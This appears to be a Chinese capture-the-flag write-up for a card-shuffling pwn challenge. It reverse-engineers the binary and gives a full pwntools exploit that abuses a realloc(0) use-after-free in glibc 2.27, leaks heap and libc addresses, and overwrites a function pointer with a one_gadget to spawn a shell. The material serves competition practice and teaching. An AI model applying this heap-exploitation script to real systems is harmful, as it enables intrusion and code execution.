前言
程序使用rand
函数模拟洗牌,同时可以通过程序设置、获取卡牌信息,也可以重新初始化或进行随机,考点其实很简单,主要是逆向逆的头大,逆向占了大半的时间,最后是青龙组第十个写出来的,比赛的时候还有很多没逆明白纯乱试出来的。本题的考察点是2.27
使用realloc
造成的uaf
,同时在管理结构中存在get
功能的函数指针,攻击思路就是利用uaf
修改函数指针为ogg
从而getshell
逆向分析
main
使用srand
设置随机化种子为0xDEADBEEF
,使用init_card
初始化卡牌并且返回管理结构的堆指针给card_manager
,下面进入循环通过用户输入选择功能对card_manager
进行操作,存在init
、set
、get
、shuffle
、show
这五个功能
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int choice; // [rsp+Ch] [rbp-14h] BYREF
manager *card_manager; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
srand(0xDEADBEEF);
init_0();
menu();
card_manager = init_card();
while ( 1 )
{
while ( 1 )
{
write(1, ">> ", 3uLL);
__isoc99_scanf("%d", &choice);
if ( choice != 1 )
break;
card_manager = init_card();
}
switch ( choice )
{
case 2:
set(card_manager);
break;
case 3: // get
(card_manager->func)(card_manager);
break;
case 4:
shuffle(card_manager);
break;
case 5:
show(card_manager);
break;
default:
puts("invalid");
exit(0);
}
}
}
init_card
初始化卡牌,创建了card_manager
和heap_manager
并进行相关初始化
_QWORD *init_card()
{
unsigned __int64 *current_heap; // rbx
int index; // [rsp+0h] [rbp-20h]
int i; // [rsp+4h] [rbp-1Ch]
manager *card_manager; // [rsp+8h] [rbp-18h]
card_manager = malloc(0x28uLL);
card_manager->heap_manager = malloc(0x20uLL);
for ( index = 0; index <= 3; ++index )
{
current_heap = &card_manager->heap_manager[index];
*current_heap = malloc(0xD0uLL);
for ( i = 0; i <= 12; ++i )
{
*(card_manager->heap_manager[index] + 0x10LL * i) = index;
*(card_manager->heap_manager[index] + 0x10LL * i + 8) = i + 1;// 1-13
}
}
card_manager->card_len = 4;
card_manager->heap_size = 13;
card_manager->card = card;
card_manager->func = output_func;
card_manager->random_level = 0x3E8LL;
return &card_manager->card_len;
}
其中card_manager
的结构体如下,存在card
、func
、heap_manager
三个指针和card_len
、heap_size
、random_level
三个参数
00000000 struct manager // sizeof=0x28
00000000 {
00000000 unsigned __int32 card_len;
00000004 unsigned __int32 heap_size;
00000008 unsigned __int64 random_level;
00000010 unsigned __int64 card;
00000018 unsigned __int64 func;
00000020 unsigned __int64 *heap_manager;
00000028 };
-
card
指针指向的地址中存在卡牌的所有花色,花色的种类数量是card_len
,初始值为4
,初始花色是data
段的♥♠♦♣
-
heap_manager
指向堆管理地址,保存了卡牌的位置和花色,初始堆的数量是13
,每个堆的大小等于heap_size * 0x10
-
random_level
设置了随机化等级,在后续随机化函数会用到,初始值为0x3e8
-
func
指向一个输出函数,初始值是程序段的output_func
void __fastcall output_func(manager *manager)
{
printf("suit count is %d\n", manager->card_len);
printf("digit range: 1 - %d\n", manager->heap_size);
printf("suit chara set:%s\n", manager->card);
printf("randomize level:%lld\n", manager->random_level);
}
在gdb
中结构如下,0x555555605250-0x555555605280
是card_manager
,0x555555605260
存放了heap_size
和card_len
,0x555555605260
存放了random_level
,0x555555605270-0x555555605280
是card
、func
、heap_manager
的地址,0x555555605288
开始是heap_manager
,存放了每个堆块的地址
pwndbg> x/20gx 0x555555605250
0x555555605250: 0x0000000000000000 0x0000000000000031
0x555555605260: 0x0000000d00000004 0x00000000000003e8 #heap_size card_len random_level
0x555555605270: 0x0000555555602010 0x0000555555400d31 #card func
0x555555605280: 0x0000555555605290 0x0000000000000031 #heap_manager
0x555555605290: 0x00005555556052c0 0x00005555556053a0 #heap_addr
0x5555556052a0: 0x0000555555605480 0x0000555555605560
set
set
函数由用户自定义了卡牌信息
ssize_t __fastcall set(manager *card_manager)
{
unsigned __int64 *current_heap; // rbx
ssize_t result; // rax
int index; // [rsp+10h] [rbp-20h]
signed __int32 i; // [rsp+14h] [rbp-1Ch]
void *card_address; // [rsp+18h] [rbp-18h]
printf("suit count:");
__isoc99_scanf("%d", card_manager);
printf("digit range 1 - ?");
__isoc99_scanf("%d", &card_manager->heap_size);
printf("randomize level:");
__isoc99_scanf("%lld", &card_manager->random_level);
if ( card_manager->card == card )
card_address = malloc(4 * card_manager->card_len);
else
card_address = realloc(card_manager->card, 4 * card_manager->card_len);
card_manager->heap_manager = realloc(card_manager->heap_manager, 8LL * card_manager->card_len);
for ( index = 0; ; ++index )
{
result = card_manager->card_len;
if ( index >= result )
break;
result = card_manager->heap_size;
if ( !result )
break;
current_heap = &card_manager->heap_manager[index];
*current_heap = malloc(16LL * card_manager->heap_size);
for ( i = 0; i < card_manager->heap_size; ++i )
{
*(card_manager->heap_manager[index] + 16LL * i) = index;
*(card_manager->heap_manager[index] + 16LL * i + 8) = i + 1;
}
}
if ( card_address )
{
card_manager->card = card_address;
printf("new suite set:");
return read(0, card_manager->card, 4 * card_manager->card_len);
}
return result;
}
- 由用户输入了
card_len
、heap_size
、random_level
- 创建
card
堆块- 当前
card_manager
中的card
值与data
段的card
值相同的时候使用malloc
创建长度为4 * card_len
的card
堆块 - 不同的时候使用
realloc
调整堆块的大小为4 * card_len
- 当前
- 使用
realloc
调整堆管理结构大小为8 * card_len
- 循环创建数量为
card_len
的堆块,堆块大小为输入的heap_size
,并且在堆块中存放位置和花色 - 设置
card_manager
中的card
的地址为创建的card
堆块地址
其中realloc
在card_len
为0
的时候存在uaf
漏洞
get
该功能调用的card_manager
中的func
函数对堆中的内容进行输出,包括card_len
、heap_size
、card
内容、random_level
,其中card
可修改为堆指针,存在内存泄露
case 3: // get
(card_manager->func)(card_manager);
break;
运行结果如下
$./pwn
CARD MASTER
1. init card set
2. set info
3. get info
4. shuffle!
5. show cards
>> 3
suit count is 4
digit range: 1 - 13
suit chara set:♥♠♦♣
randomize level:1000
show
该功能用于输出所有卡牌的位置和花色
nsigned __int64 __fastcall show(manager *card_manager)
{
signed __int32 v2; // [rsp+10h] [rbp-1B0h]
signed __int32 j; // [rsp+10h] [rbp-1B0h]
int v4; // [rsp+14h] [rbp-1ACh]
int i; // [rsp+18h] [rbp-1A8h]
signed __int32 k; // [rsp+18h] [rbp-1A8h]
int v7; // [rsp+1Ch] [rbp-1A4h]
_DWORD v8[102]; // [rsp+20h] [rbp-1A0h]
unsigned __int64 v9; // [rsp+1B8h] [rbp-8h]
v9 = __readfsqword(0x28u);
v2 = 0;
v4 = 0;
while ( v2 < card_manager->card_len )
{
v7 = 0;
for ( i = 128; (i & *(card_manager->card + v4)) != 0; i /= 2 )
++v7;
if ( v7 > 4 )
{
puts("invalid suit table!");
exit(0);
}
v8[v2] = v4;
v8[v2 + 52] = v7;
v4 += v7;
v2 += v7 != 0;
}
for ( j = 0; j < card_manager->card_len; ++j )
{
for ( k = 0; k < card_manager->heap_size; ++k )
{
write(
1,
(v8[*(16LL * k + card_manager->heap_manager[j])] + card_manager->card),
v8[*(16LL * k + card_manager->heap_manager[j]) + 52]);
printf(" %2lld ", *(16LL * k + card_manager->heap_manager[j] + 8));
}
puts(&byte_14EB);
}
return __readfsqword(0x28u) ^ v9;
}
运行结果如下
$./pwn
CARD MASTER
1. init card set
2. set info
3. get info
4. shuffle!
5. show cards
>> 5
♥ 1 ♥ 2 ♥ 3 ♥ 4 ♥ 5 ♥ 6 ♥ 7 ♥ 8 ♥ 9 ♥ 10 ♥ 11 ♥ 12 ♥ 13
♠ 1 ♠ 2 ♠ 3 ♠ 4 ♠ 5 ♠ 6 ♠ 7 ♠ 8 ♠ 9 ♠ 10 ♠ 11 ♠ 12 ♠ 13
♦ 1 ♦ 2 ♦ 3 ♦ 4 ♦ 5 ♦ 6 ♦ 7 ♦ 8 ♦ 9 ♦ 10 ♦ 11 ♦ 12 ♦ 13
♣ 1 ♣ 2 ♣ 3 ♣ 4 ♣ 5 ♣ 6 ♣ 7 ♣ 8 ♣ 9 ♣ 10 ♣ 11 ♣ 12 ♣ 13
shuffle
shuffle
函数主要是对卡牌内容使用rand
函数进行随机化,随机等级为random_level
,这个功能其实没什么用主要是迎合题目的标题吧
__int64 __fastcall shuffle(manager *card_manager)
{
_QWORD *v1; // rax
__int64 *v2; // rdx
_QWORD *v3; // rcx
__int64 v4; // rax
__int64 v5; // rdx
_QWORD *v6; // rcx
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-24h]
signed __int32 v9; // [rsp+20h] [rbp-20h]
signed __int32 v10; // [rsp+24h] [rbp-1Ch]
signed __int32 v11; // [rsp+28h] [rbp-18h]
signed __int32 v12; // [rsp+2Ch] [rbp-14h]
__int64 v13; // [rsp+30h] [rbp-10h]
__int64 v14; // [rsp+38h] [rbp-8h]
for ( i = 0; ; ++i )
{
result = card_manager->random_level;
if ( i >= result )
break;
v9 = rand() % card_manager->card_len;
v10 = rand() % card_manager->card_len;
v11 = rand() % card_manager->heap_size;
v12 = rand() % card_manager->heap_size;
v1 = (16LL * v11 + card_manager->heap_manager[v9]);
v13 = *v1;
v14 = v1[1];
v2 = (card_manager->heap_manager[v10] + 16LL * v12);
v3 = v1;
v4 = *v2;
v5 = v2[1];
*v3 = v4;
v3[1] = v5;
v6 = (card_manager->heap_manager[v10] + 16LL * v12);
*v6 = v13;
v6[1] = v14;
}
return result;
}
运行结果如下
$./pwn
CARD MASTER
1. init card set
2. set info
3. get info
4. shuffle!
5. show cards
>> 4
>> 5
♥ 12 ♣ 6 ♥ 11 ♠ 12 ♣ 13 ♠ 6 ♥ 2 ♦ 11 ♦ 3 ♠ 11 ♥ 1 ♦ 2 ♣ 4
♥ 7 ♦ 9 ♦ 7 ♥ 5 ♠ 3 ♣ 10 ♠ 7 ♦ 6 ♠ 8 ♦ 1 ♣ 5 ♥ 9 ♦ 13
♥ 13 ♠ 1 ♣ 11 ♥ 4 ♣ 2 ♣ 12 ♦ 4 ♥ 10 ♣ 3 ♠ 2 ♠ 13 ♠ 9 ♠ 5
♦ 8 ♥ 8 ♣ 8 ♥ 6 ♦ 12 ♦ 10 ♥ 3 ♠ 10 ♠ 4 ♣ 9 ♦ 5 ♣ 1 ♣ 7
攻击利用
大致思路是通过set
让card
设置成一个堆地址,再释放掉从而残留堆地址,再通过get
函数泄露堆地址,同理创建一个很大的堆直接释放到unsorted bin
中泄露libc
地址,最后通过tcache bin attack
打card_manager
中的func
为ogg
调用get
功能即可getshell
泄露堆地址
先通过set
使card
变成堆地址,由于初始的card
就是data
段的data
所以会通过比较进行malloc
创建一个0x3fc
(4 * card_len
)的card_manager
堆块,同时创建heap_manager
堆,大小为0x7f8
(8 * card_len
),在后面会创建0xff
个大小为0x20
的堆块
set_content(0xff, 1, 0, b'a' * 0xff)
利用card_len
为0
时候造成realloc
的uaf
将创建的card
堆块释放进tcache bin
,且堆内容是堆地址,同时heap_manager
堆块也被释放进了unsorted bin
set_content(0, 0, 0, 0)
set_content(0, 0, 0, 0)
bin
中结构如下
tcachebins
0x30 [ 1]: 0x565395e50290 ◂— 0x0
0x410 [ 2]: 0x565395e50640 ◂— 0x565395e50640
最后利用uaf
通过get
函数泄露card
得到堆里的地址
get()
r.recvuntil(b'set:')
heap_address = u64(r.recv(6)[-6:].ljust(8, b'\x00'))
泄露结果如下,其中suit chara set
中就是堆地址
suit count is 0
digit range: 1 - 0
suit chara set:@\x96J<\x95U
randomize level:0
泄露libc地址
再次init
初始化card_manager
再使用set
重新创建card
堆块,使得堆块从unsorted bin
中取,有残留的libc
地址
init()
set_content(0, 0, 0, 0)
get()
libc = ELF('./2.27-3/libc-2.27.so')
libc_base = get_libc() - 0x3ebca0
改func地址
通过动态调试获取card_manager
中的func
地址与heap_address
之间的偏移,再通过uaf
改该地址的值为ogg
,最后再使用get
功能调用func
get()
libc = ELF('./2.27-3/libc-2.27.so')
libc_base = get_libc() - 0x3ebca0
func = heap_address + 0x37c8
init()
init()
init()
set_content(0x40, 0, 0, b'a' * 0xff)
set_content(0, 0, 0, 0)
set_content(0x40, 0, 0, p64(func))
init()
set_content(0x40, 0, 0, b'a' * 0xff)
set_content(0x40, 0, 0, b'a' * 0xff)
init()
one = [0x4f2c5, 0x4f322, 0x4f322, 0xe5858, 0xe585f, 0xe5863, 0x10a38c, 0x10a398]
ogg = one[6] + libc_base
set_content(0x40, 0, 0, p64(ogg))
get()
exp
有些是赛场猜着写的其实没必要,但不想重写了,能打通,大家复现照着上面思路能打通就好
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('173.41.49.110', 8888)
else:
r = process(file_name)
def dbg():
gdb.attach(r)
def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def init():
r.sendlineafter(b'>>', b'1')
def set_content(card_size, range_num, level, card):
r.sendlineafter(b'>>', b'2')
r.sendlineafter(b'count', str(card_size))
r.sendlineafter(b'range', str(range_num))
r.sendlineafter(b'level', str(level))
if card:
r.sendafter(b'set', card)
def get():
r.sendlineafter(b'>>', b'3')
def shuffle():
r.sendlineafter(b'>>', b'4')
def show():
r.sendlineafter(b'>>', b'5')
set_content(0xff, 1, 0, b'a' * 0xff)
set_content(0, 0, 0, 0)
set_content(0, 0, 0, 0)
get()
r.recvuntil(b'set:')
heap_address = u64(r.recv(6)[-6:].ljust(8, b'\x00'))
addr = heap_address - 0x3d0
set_content(0x8, 1, 1, p64(addr + 0x100))
init()
set_content(0, 0, 0, 0)
get()
libc = ELF('./2.27-3/libc-2.27.so')
libc_base = get_libc() - 0x3ebca0
func = heap_address + 0x37c8
init()
init()
init()
set_content(0x40, 0, 0, b'a' * 0xff)
set_content(0, 0, 0, 0)
set_content(0x40, 0, 0, p64(func))
init()
set_content(0x40, 0, 0, b'a' * 0xff)
set_content(0x40, 0, 0, b'a' * 0xff)
init()
one = [0x4f2c5, 0x4f322, 0x4f322, 0xe5858, 0xe585f, 0xe5863, 0x10a38c, 0x10a398]
ogg = one[6] + libc_base
set_content(0x40, 0, 0, p64(ogg))
get()
r.interactive()